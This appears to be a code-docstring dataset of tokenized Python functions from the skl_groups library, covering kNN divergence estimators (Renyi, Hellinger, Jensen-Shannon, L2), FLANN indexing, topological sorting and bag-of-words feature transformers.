{"signature": "def _build_indices(X, flann_args):", "body": "<EOL>logger.info(\"<STR_LIT>\")<EOL>indices = [None] * len(X)<EOL>for i, bag in enumerate(plog(X, name=\"<STR_LIT>\")):<EOL><INDENT>indices[i] = idx = FLANNIndex(**flann_args)<EOL>idx.build_index(bag)<EOL><DEDENT>return indices<EOL>", "docstring": "Builds FLANN indices for each bag.", "id": "f14617:m2"}
{"signature": "def _get_rhos(X, indices, Ks, max_K, save_all_Ks, min_dist):", "body": "logger.info(\"<STR_LIT>\")<EOL>if max_K >= X.n_pts.min():<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(max_K, X.n_pts.min()))<EOL><DEDENT>which_Ks = slice(<NUM_LIT:1>, None) if save_all_Ks else Ks<EOL>indices = plog(indices, name=\"<STR_LIT>\")<EOL>rhos = [None] * len(X)<EOL>for i, (idx, bag) in enumerate(zip(indices, X)):<EOL><INDENT>r = np.sqrt(idx.nn_index(bag, max_K + <NUM_LIT:1>)[<NUM_LIT:1>][:, which_Ks])<EOL>np.maximum(min_dist, r, out=r)<EOL>rhos[i] = r<EOL><DEDENT>return rhos<EOL>", "docstring": "Gets within-bag distances for each bag.", "id": "f14617:m3"}
{"signature": "def linear(Ks, dim, num_q, rhos, nus):", "body": "return _get_linear(Ks, dim)(num_q, rhos, nus)<EOL>", "docstring": "r'''\n    Estimates the linear inner product \\int p q between two distributions,\n    based on kNN distances.", "id": "f14617:m5"}
{"signature": "def alpha_div(alphas, Ks, dim, num_q, rhos, nus):", "body": "return _get_alpha_div(alphas, Ks, dim)(num_q, rhos, nus)<EOL>", "docstring": "r'''\n    Estimate the alpha divergence between distributions:\n        \\int p^\\alpha q^(1-\\alpha)\n    based on kNN distances.\n\n    Used in Renyi, Hellinger, Bhattacharyya, Tsallis divergences.\n\n    Enforces that estimates are >= 0.\n\n    Returns divergence estimates with shape (num_alphas, num_Ks).", "id": "f14617:m7"}
{"signature": "def jensen_shannon_core(Ks, dim, num_q, rhos, nus):", "body": "ns = np.array([rhos.shape[<NUM_LIT:0>], num_q])<EOL>return _get_jensen_shannon_core(Ks, dim, ns)[<NUM_LIT:0>](num_q, rhos, nus)<EOL>", "docstring": "r'''\n    Estimates\n          1/2 mean_X( d * log radius of largest ball in X+Y around X_i\n                                with no more than M/(n+m-1) weight\n                                where X points have weight 1 / (2 n - 1)\n                                  and Y points have weight n / (m (2 n - 1))\n                      - digamma(# of neighbors in that ball))\n\n    This is the core pairwise component of the estimator of Jensen-Shannon\n    divergence based on the Hino-Murata weighted information estimator. See\n    the docstring for jensen_shannon for an explanation.", "id": "f14617:m9"}
{"signature": "def bhattacharyya(Ks, dim, required, clamp=True, to_self=False):", "body": "est = required<EOL>if clamp:<EOL><INDENT>est = np.minimum(est, <NUM_LIT:1>)  <EOL><DEDENT>return est<EOL>", "docstring": "r'''\n    Estimate the Bhattacharyya coefficient between distributions, based on kNN\n    distances:  \\int \\sqrt{p q}\n\n    If clamp (the default), enforces 0 <= BC <= 1.\n\n    Returns an array of shape (num_Ks,).", "id": "f14617:m11"}
{"signature": "def hellinger(Ks, dim, required, clamp=True, to_self=False):", "body": "bc = required<EOL>est = <NUM_LIT:1> - bc<EOL>np.maximum(est, <NUM_LIT:0>, out=est)<EOL>if clamp:<EOL><INDENT>np.minimum(est, <NUM_LIT:1>, out=est)<EOL><DEDENT>np.sqrt(est, out=est)<EOL>return est<EOL>", "docstring": "r'''\n    Estimate the Hellinger distance between distributions, based on kNN\n    distances:  \\sqrt{1 - \\int \\sqrt{p q}}\n\n    Always enforces 0 <= H, to be able to sqrt; if clamp, also enforces\n    H <= 1.\n\n    Returns a vector: one element for each K.", "id": "f14617:m12"}
{"signature": "def renyi(alphas, Ks, dim, required, min_val=np.spacing(<NUM_LIT:1>),<EOL>clamp=True, to_self=False):", "body": "alphas = np.reshape(alphas, (-<NUM_LIT:1>, <NUM_LIT:1>))<EOL>est = required<EOL>est = np.maximum(est, min_val)  <EOL>np.log(est, out=est)<EOL>est /= alphas - <NUM_LIT:1><EOL>if clamp:<EOL><INDENT>np.maximum(est, <NUM_LIT:0>, out=est)<EOL><DEDENT>return est<EOL>", "docstring": "r'''\n    Estimate the Renyi-alpha divergence between distributions, based on kNN\n    distances:  1/(\\alpha-1) \\log \\int p^alpha q^(1-\\alpha)\n\n    If the inner integral is less than min_val (default ``np.spacing(1)``),\n    uses the log of min_val instead.\n\n    If clamp (the default), enforces that the estimates are nonnegative by\n    replacing any negative estimates with 0.\n\n    Returns an array of shape (num_alphas, num_Ks).", "id": "f14617:m13"}
{"signature": "def tsallis(alphas, Ks, dim, required, clamp=True, to_self=False):", "body": "alphas = np.reshape(alphas, (-<NUM_LIT:1>, <NUM_LIT:1>))<EOL>alpha_est = required<EOL>est = alpha_est - <NUM_LIT:1><EOL>est /= alphas - <NUM_LIT:1><EOL>if clamp:<EOL><INDENT>np.maximum(est, <NUM_LIT:0>, out=est)<EOL><DEDENT>return est<EOL>", "docstring": "r'''\n    Estimate the Tsallis-alpha divergence between distributions, based on kNN\n    distances:  (\\int p^alpha q^(1-\\alpha) - 1) / (\\alpha - 1)\n\n    If clamp (the default), enforces the estimate is nonnegative.\n\n    Returns an array of shape (num_alphas, num_Ks).", "id": "f14617:m14"}
{"signature": "def l2(Ks, dim, X_rhos, Y_rhos, required, clamp=True, to_self=False):", "body": "n_X = len(X_rhos)<EOL>n_Y = len(Y_rhos)<EOL>linears = required<EOL>assert linears.shape == (<NUM_LIT:1>, Ks.size, n_X, n_Y, <NUM_LIT:2>)<EOL>X_quadratics = np.empty((Ks.size, n_X), dtype=np.float32)<EOL>for i, rho in enumerate(X_rhos):<EOL><INDENT>X_quadratics[:, i] = quadratic(Ks, dim, rho)<EOL><DEDENT>Y_quadratics = np.empty((Ks.size, n_Y), dtype=np.float32)<EOL>for j, rho in enumerate(Y_rhos):<EOL><INDENT>Y_quadratics[:, j] = quadratic(Ks, dim, rho)<EOL><DEDENT>est = -linears.sum(axis=<NUM_LIT:4>)<EOL>est += X_quadratics[None, :, :, None]<EOL>est += Y_quadratics[None, :, None, :]<EOL>np.maximum(est, <NUM_LIT:0>, out=est)<EOL>np.sqrt(est, out=est)<EOL>if to_self:<EOL><INDENT>est[:, :, xrange(n_X), xrange(n_Y)] = <NUM_LIT:0><EOL><DEDENT>return est[:, :, :, :, None]<EOL>", "docstring": "r'''\n    Estimates the L2 distance between distributions, via\n        \\int (p - q)^2 = \\int p^2 - \\int p q - \\int q p + \\int q^2.\n\n    \\int pq and \\int qp are estimated with the linear function (in both\n    directions), while \\int p^2 and \\int q^2 are estimated via the quadratic\n    function below.\n\n    Always clamps negative estimates of l2^2 to 0, because otherwise the sqrt\n    would break.", "id": "f14617:m15"}
{"signature": "def quadratic(Ks, dim, rhos, required=None):", "body": "<EOL>N = rhos.shape[<NUM_LIT:0>]<EOL>Ks = np.asarray(Ks)<EOL>Bs = (Ks - <NUM_LIT:1>) / np.pi ** (dim / <NUM_LIT:2>) * gamma(dim / <NUM_LIT:2> + <NUM_LIT:1>)  <EOL>est = Bs / (N - <NUM_LIT:1>) * np.mean(rhos ** (-dim), axis=<NUM_LIT:0>)<EOL>return est<EOL>", "docstring": "r'''\n    Estimates \\int p^2 based on kNN distances.\n\n    In here because it's used in the l2 distance, above.\n\n    Returns array of shape (num_Ks,).", "id": "f14617:m16"}
{"signature": "def jensen_shannon(Ks, dim, X_rhos, Y_rhos, required,<EOL>clamp=True, to_self=False):", "body": "X_ns = np.array([rho.shape[<NUM_LIT:0>] for rho in X_rhos])<EOL>Y_ns = np.array([rho.shape[<NUM_LIT:0>] for rho in Y_rhos])<EOL>n_X = X_ns.size<EOL>n_Y = Y_ns.size<EOL>cores = required<EOL>assert cores.shape == (<NUM_LIT:1>, Ks.size, n_X, n_Y, <NUM_LIT:2>)<EOL>X_bits = np.empty((Ks.size, n_X), dtype=np.float32)<EOL>for i, rho in enumerate(X_rhos):<EOL><INDENT>X_bits[:, i] = dim * np.mean(np.log(rho), axis=<NUM_LIT:0>)<EOL><DEDENT>X_bits += np.log(X_ns - <NUM_LIT:1>)[np.newaxis, :]<EOL>Y_bits = np.empty((Ks.size, n_Y), dtype=np.float32)<EOL>for j, rho in enumerate(Y_rhos):<EOL><INDENT>Y_bits[:, j] = dim * np.mean(np.log(rho), axis=<NUM_LIT:0>)<EOL><DEDENT>Y_bits += np.log(Y_ns - <NUM_LIT:1>)[np.newaxis, :]<EOL>est = cores.sum(axis=<NUM_LIT:4>)<EOL>est -= X_bits.reshape(<NUM_LIT:1>, Ks.size, n_X, <NUM_LIT:1>)<EOL>est -= Y_bits.reshape(<NUM_LIT:1>, Ks.size, <NUM_LIT:1>, n_Y)<EOL>est /= <NUM_LIT:2><EOL>est += np.log(-<NUM_LIT:1> + X_ns[None, None, :, None] + Y_ns[None, None, None, :])<EOL>est += psi(Ks)[None, :, None, None]<EOL>if to_self:<EOL><INDENT>est[:, :, xrange(n_X), xrange(n_Y)] = <NUM_LIT:0><EOL><DEDENT>if clamp:  <EOL><INDENT>np.maximum(<NUM_LIT:0>, est, out=est)<EOL>np.minimum(np.log(<NUM_LIT:2>), est, out=est)<EOL><DEDENT>return est[:, :, :, :, None]<EOL>", "docstring": "r'''\n    Estimate the difference between the Shannon entropy of an equally-weighted\n    mixture between X and Y and the mixture of the Shannon entropies:\n\n        JS(X, Y) = H[ (X + Y) / 2 ] - (H[X] + H[Y]) / 2\n\n    We use a special case of the Hino-Murata weighted information estimator with\n    a fixed M = n \\alpha, about equivalent to the K-nearest-neighbor approach\n    used for the other estimators:\n\n        Hideitsu Hino and Noboru Murata (2013).\n        Information estimators for weighted observations. Neural Networks.\n        http://linkinghub.elsevier.com/retrieve/pii/S0893608013001676\n\n\n    The estimator for JS(X, Y) is:\n\n        log volume of the unit ball - log M + log(n + m - 1) + digamma(M)\n        + 1/2 mean_X( d * log radius of largest ball in X+Y around X_i\n                                with no more than M/(n+m-1) weight\n                                where X points have weight 1 / (2 n - 1)\n                                  and Y points have weight n / (m (2 n - 1))\n                      - digamma(# of neighbors in that ball) )\n        + 1/2 mean_Y( d * log radius of largest ball in X+Y around Y_i\n                                with no more than M/(n+m-1) weight\n                                where X points have weight m / (n (2 m - 1))\n                                  and Y points have weight 1 / (2 m - 1)\n                      - digamma(# of neighbors in that ball) )\n\n        - 1/2 (log volume of the unit ball - log M + log(n - 1) + digamma(M))\n        - 1/2 mean_X( d * log radius of the largest ball in X around X_i\n                                with no more than M/(n-1) weight\n                                where X points have weight 1 / (n - 1))\n                      - digamma(# of neighbors in that ball) )\n\n        - 1/2 (log volume of the unit ball - log M + log(m - 1) + digamma(M))\n        - 1/2 mean_Y( d * log radius of the largest ball in Y around Y_i\n                                with no more than M/(n-1) weight\n                                where X points have weight 1 / (m - 1))\n                      - digamma(# of neighbors in that ball) )\n\n        =\n\n        log(n + m - 1) + digamma(M)\n        + 1/2 mean_X( d * log radius of largest ball in X+Y around X_i\n                                with no more than M/(n+m-1) weight\n                                where X points have weight 1 / (2 n - 1)\n                                  and Y points have weight n / (m (2 n - 1))\n                      - digamma(# of neighbors in that ball) )\n        + 1/2 mean_Y( d * log radius of largest ball in X+Y around Y_i\n                                with no more than M/(n+m-1) weight\n                                where X points have weight m / (n (2 m - 1))\n                                  and Y points have weight 1 / (2 m - 1)\n                      - digamma(# of neighbors in that ball) )\n        - 1/2 [log(n-1) + mean_X( d * log rho_M(X_i) )]\n        - 1/2 [log(m-1) + mean_Y( d * log rho_M(Y_i) )]", "id": "f14617:m17"}
{"signature": "def topological_sort(deps):", "body": "order = []<EOL>available = set()<EOL>def _move_available():<EOL><INDENT>to_delete = []<EOL>for n, parents in iteritems(deps):<EOL><INDENT>if not parents:<EOL><INDENT>available.add(n)<EOL>to_delete.append(n)<EOL><DEDENT><DEDENT>for n in to_delete:<EOL><INDENT>del deps[n]<EOL><DEDENT><DEDENT>_move_available()<EOL>while available:<EOL><INDENT>n = available.pop()<EOL>order.append(n)<EOL>for parents in itervalues(deps):<EOL><INDENT>parents.discard(n)<EOL><DEDENT>_move_available()<EOL><DEDENT>if available:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return order<EOL>", "docstring": "Topologically sort a DAG, represented by a dict of child => set of parents.\nThe dependency dict is destroyed during operation.\n\nUses the Kahn algorithm: http://en.wikipedia.org/wiki/Topological_sorting\nNot a particularly good implementation, but we're just running it on tiny\ngraphs.", "id": "f14617:m18"}
{"signature": "def _parse_specs(specs, Ks):", "body": "funcs = {}<EOL>metas = {}<EOL>meta_deps = defaultdict(set)<EOL>def add_func(func, alpha=None, pos=None):<EOL><INDENT>needs_alpha = getattr(func, '<STR_LIT>', False)<EOL>is_meta = hasattr(func, '<STR_LIT>')<EOL>d = metas if is_meta else funcs<EOL>if func not in d:<EOL><INDENT>if needs_alpha:<EOL><INDENT>args = {'<STR_LIT>': [alpha], '<STR_LIT>': [pos]}<EOL><DEDENT>else:<EOL><INDENT>args = {'<STR_LIT>': None, '<STR_LIT>': [pos]}<EOL><DEDENT>if not is_meta:<EOL><INDENT>d[func] = _FuncInfo(**args)<EOL><DEDENT>else:<EOL><INDENT>d[func] = _MetaFuncInfo(deps=[], **args)<EOL>for req in func.needs_results:<EOL><INDENT>if callable(req.alpha):<EOL><INDENT>req_alpha = req.alpha(alpha)<EOL><DEDENT>else:<EOL><INDENT>req_alpha = req.alpha<EOL><DEDENT>add_func(req.func, alpha=req_alpha)<EOL>meta_deps[func].add(req.func)<EOL>meta_deps[req.func]  <EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>info = d[func]<EOL>if not needs_alpha:<EOL><INDENT>if pos is not None:<EOL><INDENT>if info.pos != [None]:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(func_name))<EOL><DEDENT>info.pos[<NUM_LIT:0>] = pos<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>try:<EOL><INDENT>idx = info.alphas.index(alpha)<EOL><DEDENT>except ValueError:<EOL><INDENT>info.alphas.append(alpha)<EOL>info.pos.append(pos)<EOL>if is_meta:<EOL><INDENT>for req in func.needs_results:<EOL><INDENT>if callable(req.alpha):<EOL><INDENT>req_alpha = req.alpha(alpha)<EOL><DEDENT>else:<EOL><INDENT>req_alpha = req.alpha<EOL><DEDENT>add_func(req.func, alpha=req_alpha)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if pos is not None:<EOL><INDENT>if info.pos[idx] is not None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(func_name, alpha))<EOL><DEDENT>info.pos[idx] = pos<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for i, spec in enumerate(specs):<EOL><INDENT>func_name, alpha = (spec.split('<STR_LIT::>', <NUM_LIT:1>) + [None])[:<NUM_LIT:2>]<EOL>if alpha is not None:<EOL><INDENT>alpha = float(alpha)<EOL><DEDENT>try:<EOL><INDENT>func = func_mapping[func_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(func_name))<EOL><DEDENT>needs_alpha = getattr(func, '<STR_LIT>', False)<EOL>if needs_alpha and alpha is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(func_name, spec))<EOL><DEDENT>elif not needs_alpha and alpha is not None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(func_name, spec))<EOL><DEDENT>add_func(func, alpha, i)<EOL><DEDENT>meta_counter = itertools.count(-<NUM_LIT:1>, step=-<NUM_LIT:1>)<EOL>for info in itertools.chain(itervalues(funcs), itervalues(metas)):<EOL><INDENT>for i, pos in enumerate(info.pos):<EOL><INDENT>if pos is None:<EOL><INDENT>info.pos[i] = next(meta_counter)<EOL><DEDENT><DEDENT><DEDENT>for func, info in iteritems(metas):<EOL><INDENT>deps = info.deps<EOL>assert deps == []<EOL>for req in func.needs_results:<EOL><INDENT>f = req.func<EOL>req_info = (metas if hasattr(f, '<STR_LIT>') else funcs)[f]<EOL>if req.alpha is not None:<EOL><INDENT>if callable(req.alpha):<EOL><INDENT>req_alpha = req.alpha(info.alphas)<EOL><DEDENT>else:<EOL><INDENT>req_alpha = req.alpha<EOL><DEDENT>find_alpha = np.vectorize(req_info.alphas.index, otypes=[int])<EOL>pos = np.asarray(req_info.pos)[find_alpha(req_alpha)]<EOL>if np.isscalar(pos):<EOL><INDENT>deps.append(pos[()])<EOL><DEDENT>else:<EOL><INDENT>deps.extend(pos)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos, = req_info.pos<EOL>deps.append(pos)<EOL><DEDENT><DEDENT><DEDENT>meta_order = topological_sort(meta_deps)<EOL>metas_ordered = OrderedDict(<EOL>(f, metas[f]) for f in meta_order if hasattr(f, '<STR_LIT>'))<EOL>return funcs, metas_ordered, -next(meta_counter) - <NUM_LIT:1><EOL>", "docstring": "Set up the different functions we need to call.\n\nReturns:\n    - a dict mapping base estimator functions to _FuncInfo objects.\n      If the function needs_alpha, then the alphas attribute is an array\n      of alpha values and pos is a corresponding array of indices.\n      Otherwise, alphas is None and pos is a list containing a single index.\n      Indices are >= 0 if they correspond to something in a spec,\n      and negative if they're just used for a meta estimator but not\n      directly requested.\n    - an OrderedDict mapping functions to _MetaFuncInfo objects.\n      alphas and pos are like for _FuncInfo; deps is a list of indices\n      which should be passed to the estimator. Note that these might be\n      other meta functions; this list is guaranteed to be in an order\n      such that all dependencies are resolved before calling that function.\n      If no such order is possible, raise ValueError.\n    - the number of meta-only results\n\n# TODO: update doctests for _parse_specs\n\n>>> _parse_specs(['renyi:.8', 'hellinger', 'renyi:.9'])\n({<function alpha_div at 0x10954f848>:\n        _FuncInfo(alphas=[0.8, 0.5, 0.9], pos=[-1, -2, -3])},\n OrderedDict([\n    (<function hellinger at 0x10954fc80>,\n        _MetaFuncInfo(alphas=None, pos=[1], deps=[array(-2)])),\n    (<function renyi at 0x10954fcf8>,\n        _MetaFuncInfo(alphas=[0.8, 0.9], pos=[0, 2], deps=[-1, -3]))\n ]), 3)\n\n>>> _parse_specs(['renyi:.8', 'hellinger', 'renyi:.9', 'l2'])\n({<function alpha_div at 0x10954f848>:\n    _FuncInfo(alphas=[0.8, 0.5, 0.9], pos=[-1, -2, -3]),\n  <function linear at 0x10954f758>: _FuncInfo(alphas=None, pos=[-4])\n }, OrderedDict([\n    (<function hellinger at 0x10954fc80>,\n        _MetaFuncInfo(alphas=None, pos=[1], deps=[array(-2)])),\n    (<function l2 at 0x10954fde8>,\n        _MetaFuncInfo(alphas=None, pos=[3], deps=[-4])),\n    (<function renyi at 0x10954fcf8>,\n        _MetaFuncInfo(alphas=[0.8, 0.9], pos=[0, 2], deps=[-1, -3]))\n ]), 4)\n\n>>> _parse_specs(['renyi:.8', 'hellinger', 'renyi:.9', 'l2', 'linear'])\n({<function alpha_div at 0x10954f848>:\n    _FuncInfo(alphas=[0.8, 0.5, 0.9], pos=[-1, -2, -3]),\n  <function linear at 0x10954f758>: _FuncInfo(alphas=None, pos=[4])\n }, OrderedDict([\n    (<function hellinger at 0x10954fc80>,\n        _MetaFuncInfo(alphas=None, pos=[1], deps=[array(-2)])),\n    (<function l2 at 0x10954fde8>,\n        _MetaFuncInfo(alphas=None, pos=[3], deps=[4])),\n    (<function renyi at 0x10954fcf8>,\n        _MetaFuncInfo(alphas=[0.8, 0.9], pos=[0, 2], deps=[-1, -3]))\n ]), 3)", "id": "f14617:m19"}
{"signature": "def _get_Ks(self):", "body": "Ks = as_integer_type(self.Ks)<EOL>if Ks.ndim != <NUM_LIT:1>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(Ks.shape))<EOL><DEDENT>if Ks.min() < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(Ks.min()))<EOL><DEDENT>return Ks<EOL>", "docstring": "Ks as an array and type-checked.", "id": "f14617:c0:m1"}
{"signature": "@property<EOL><INDENT>def _n_jobs(self):<DEDENT>", "body": "if self.n_jobs == -<NUM_LIT:1>:<EOL><INDENT>from multiprocessing import cpu_count<EOL>return cpu_count()<EOL><DEDENT>return self.n_jobs<EOL>", "docstring": "n_jobs, but with the number of cores instead of -1.", "id": "f14617:c0:m2"}
{"signature": "def _flann_args(self, X=None):", "body": "args = {'<STR_LIT>': self._n_jobs}<EOL>if self.flann_algorithm == '<STR_LIT>':<EOL><INDENT>if X is None or X.dim > <NUM_LIT:5>:<EOL><INDENT>args['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>args['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>args['<STR_LIT>'] = self.flann_algorithm<EOL><DEDENT>if self.flann_args:<EOL><INDENT>args.update(self.flann_args)<EOL><DEDENT>try:<EOL><INDENT>FLANNParameters().update(args)<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise TypeError(msg.format(e))<EOL><DEDENT>return args<EOL>", "docstring": "The dictionary of arguments to give to FLANN.", "id": "f14617:c0:m3"}
{"signature": "def fit(self, X, y=None, get_rhos=False):", "body": "self.features_ = X = as_features(X, stack=True, bare=True)<EOL>Ks = self._get_Ks()<EOL>_, _, _, max_K, save_all_Ks, _ = _choose_funcs(<EOL>self.div_funcs, Ks, X.dim, X.n_pts, None, self.version)<EOL>if max_K >= X.n_pts.min():<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(max_K, X.n_pts.min()))<EOL><DEDENT>memory = self.memory<EOL>if isinstance(memory, string_types):<EOL><INDENT>memory = Memory(cachedir=memory, verbose=<NUM_LIT:0>)<EOL><DEDENT>self.indices_ = id = memory.cache(_build_indices)(X, self._flann_args())<EOL>if get_rhos:<EOL><INDENT>self.rhos_ = _get_rhos(X, id, Ks, max_K, save_all_Ks, self.min_dist)<EOL><DEDENT>elif hasattr(self, '<STR_LIT>'):<EOL><INDENT>del self.rhos_<EOL><DEDENT>return self<EOL>", "docstring": "Sets up for divergence estimation \"from\" new data \"to\" X.\nBuilds FLANN indices for each bag, and maybe gets within-bag distances.\n\nParameters\n----------\nX : list of arrays or :class:`skl_groups.features.Features`\n    The bags to search \"to\".\n\nget_rhos : boolean, optional, default False\n    Compute within-bag distances :attr:`rhos_`. These are only needed\n    for some divergence functions or if do_sym is passed, and they'll\n    be computed (and saved) during :meth:`transform` if they're not\n    computed here.\n\n    If you're using Jensen-Shannon divergence, a higher max_K may\n    be needed once it sees the number of points in the transformed bags,\n    so the computation here might be wasted.", "id": "f14617:c0:m4"}
{"signature": "def transform(self, X):", "body": "X = as_features(X, stack=True, bare=True)<EOL>Y = self.features_<EOL>Ks = np.asarray(self.Ks)<EOL>if X.dim != Y.dim:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(Y.dim, X.dim))<EOL><DEDENT>memory = self.memory<EOL>if isinstance(memory, string_types):<EOL><INDENT>memory = Memory(cachedir=memory, verbose=<NUM_LIT:0>)<EOL><DEDENT>est = memory.cache(_est_divs, ignore=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>output, self.rhos_ = est(<EOL>X, Y, self.indices_, getattr(self, '<STR_LIT>', None),<EOL>self.div_funcs, Ks,<EOL>self.do_sym, self.clamp, self.version, self.min_dist,<EOL>self._flann_args(), self._n_jobs)<EOL>return output<EOL>", "docstring": "r'''\n        Computes the divergences from X to :attr:`features_`.\n\n        Parameters\n        ----------\n        X : list of bag feature arrays or :class:`skl_groups.features.Features`\n            The bags to search \"from\".\n\n        Returns\n        -------\n        divs : array of shape ``[len(div_funcs), len(Ks), len(X), len(features_)] + ([2] if do_sym else [])``\n            The divergences from X to :attr:`features_`.\n            ``divs[d, k, i, j]`` is the ``div_funcs[d]`` divergence\n            from ``X[i]`` to ``fetaures_[j]`` using a K of ``Ks[k]``.\n            If ``do_sym``, ``divs[d, k, i, j, 0]`` is\n            :math:`D_{d,k}( X_i \\| \\texttt{features_}_j)` and\n            ``divs[d, k, i, j, 1]`` is :math:`D_{d,k}(\\texttt{features_}_j \\| X_i)`.", "id": "f14617:c0:m5"}
{"signature": "@property<EOL><INDENT>def dim_(self):<DEDENT>", "body": "self._check_fitted()<EOL>return self.inds_.shape[<NUM_LIT:1>]<EOL>", "docstring": "The dimension of the inputs, once fitted.", "id": "f14626:c0:m2"}
{"signature": "@property<EOL><INDENT>def out_dim_(self):<DEDENT>", "body": "self._check_fitted()<EOL>return self.inds_.shape[<NUM_LIT:0>]<EOL>", "docstring": "The dimension of the output vectors, once fitted.", "id": "f14626:c0:m3"}
{"signature": "def fit(self, X, y=None):", "body": "if is_integer(X):<EOL><INDENT>dim = X<EOL><DEDENT>else:<EOL><INDENT>X = as_features(X)<EOL>dim = X.dim<EOL><DEDENT>M = self.smoothness<EOL>inds = np.mgrid[(slice(M + <NUM_LIT:1>),) * dim].reshape(dim, (M + <NUM_LIT:1>) ** dim).T<EOL>self.inds_ = inds[(inds ** <NUM_LIT:2>).sum(axis=<NUM_LIT:1>) <= M ** <NUM_LIT:2>]<EOL>return self<EOL>", "docstring": "Picks the elements of the basis to use for the given data.\n\nOnly depends on the dimension of X. If it's more convenient, you can\npass a single integer for X, which is the dimension to use.\n\nParameters\n----------\nX : an integer, a :class:`Features` instance, or a list of bag features\n    The input data, or just its dimension, since only the dimension is\n    needed here.", "id": "f14626:c0:m4"}
{"signature": "def transform(self, X):", "body": "self._check_fitted()<EOL>M = self.smoothness<EOL>dim = self.dim_<EOL>inds = self.inds_<EOL>do_check = self.do_bounds_check<EOL>X = as_features(X)<EOL>if X.dim != dim:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg.format(dim, X.dim))<EOL><DEDENT>Xt = np.empty((len(X), self.inds_.shape[<NUM_LIT:0>]))<EOL>Xt.fill(np.nan)<EOL>if self.basis == '<STR_LIT>':  <EOL><INDENT>coefs = (np.pi * np.arange(M + <NUM_LIT:1>))[..., :]<EOL>for i, bag in enumerate(X):<EOL><INDENT>if do_check:<EOL><INDENT>if np.min(bag) < <NUM_LIT:0> or np.max(bag) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(i))<EOL><DEDENT><DEDENT>phi = coefs * bag[..., np.newaxis]<EOL>np.cos(phi, out=phi)<EOL>phi[:, :, <NUM_LIT:1>:] *= np.sqrt(<NUM_LIT:2>)<EOL>B = reduce(op.mul, (phi[:, i, inds[:, i]] for i in xrange(dim)))<EOL>Xt[i, :] = np.mean(B, axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.basis))<EOL><DEDENT>return Xt<EOL>", "docstring": "Transform a list of bag features into its projection series\nrepresentation.\n\nParameters\n----------\nX : :class:`skl_groups.features.Features` or list of bag feature arrays\n    New data to transform. The data should all lie in [0, 1];\n    use :class:`skl_groups.preprocessing.BagMinMaxScaler` if not.\n\nReturns\n-------\nX_new : integer array, shape ``[len(X), dim_]``\n    X transformed into the new space.", "id": "f14626:c0:m5"}
{"signature": "def fit(self, X, y=None):", "body": "return self<EOL>", "docstring": "Do nothing; this is a stateless transformer.", "id": "f14627:c0:m1"}
{"signature": "def transform(self, X):", "body": "X = as_features(X)<EOL>return np.vstack([np.mean(bag, axis=<NUM_LIT:0>) for bag in X])<EOL>", "docstring": "Transform a list of bag features into a matrix of its mean features.\n\nParameters\n----------\nX : :class:`skl_groups.features.Features` or list of bag feature arrays\n    Data to transform.\n\nReturns\n-------\nX_new : array, shape ``[len(X), X.dim]``\n    X transformed into its means.", "id": "f14627:c0:m2"}
{"signature": "@property<EOL><INDENT>def n_codewords(self):<DEDENT>", "body": "return self.kmeans.n_clusters<EOL>", "docstring": "The number of codewords used.", "id": "f14628:c0:m2"}
{"signature": "@property<EOL><INDENT>def codewords_(self):<DEDENT>", "body": "self._check_fitted()<EOL>return self.kmeans_fit_.cluster_centers_<EOL>", "docstring": "The selected codewords; shape [n_codewords, n_features].", "id": "f14628:c0:m3"}
{"signature": "def fit(self, X, y=None):", "body": "self.kmeans_fit_ = copy(self.kmeans)<EOL>X = as_features(X, stack=True)<EOL>self.kmeans_fit_.fit(X.stacked_features) <EOL>return self<EOL>", "docstring": "Choose the codewords based on a training set.\n\nParameters\n----------\nX : :class:`skl_groups.features.Features` or list of arrays of shape ``[n_samples[i], n_features]``\n    Training set. If a Features object, it will be stacked.", "id": "f14628:c0:m5"}
{"signature": "def transform(self, X):", "body": "self._check_fitted()<EOL>X = as_features(X, stack=True)<EOL>assignments = self.kmeans_fit_.predict(X.stacked_features)<EOL>return self._group_assignments(X, assignments)<EOL>", "docstring": "Transform a list of bag features into its bag-of-words representation.\n\nParameters\n----------\nX : :class:`skl_groups.features.Features` or list of bag feature arrays\n    New data to transform.\n\nReturns\n-------\nX_new : integer array, shape [len(X), kmeans.n_clusters]\n    X transformed into the new space.", "id": "f14628:c0:m6"}
{"signature": "def fit_transform(self, X):", "body": "X = as_features(X, stack=True)<EOL>self.kmeans_fit_ = copy(self.kmeans)<EOL>assignments = self.kmeans_fit_.fit_predict(X.stacked_features) <EOL>return self._group_assignments(X, assignments)<EOL>", "docstring": "Compute clustering and transform a list of bag features into its\nbag-of-words representation. Like calling fit(X) and then transform(X),\nbut more efficient.\n\nParameters\n----------\nX : :class:`skl_groups.features.Features` or list of bag feature arrays\n    New data to transform.\n\nReturns\n-------\nX_new : integer array, shape [len(X), kmeans.n_clusters]\n    X transformed into the new space.", "id": "f14628:c0:m7"}
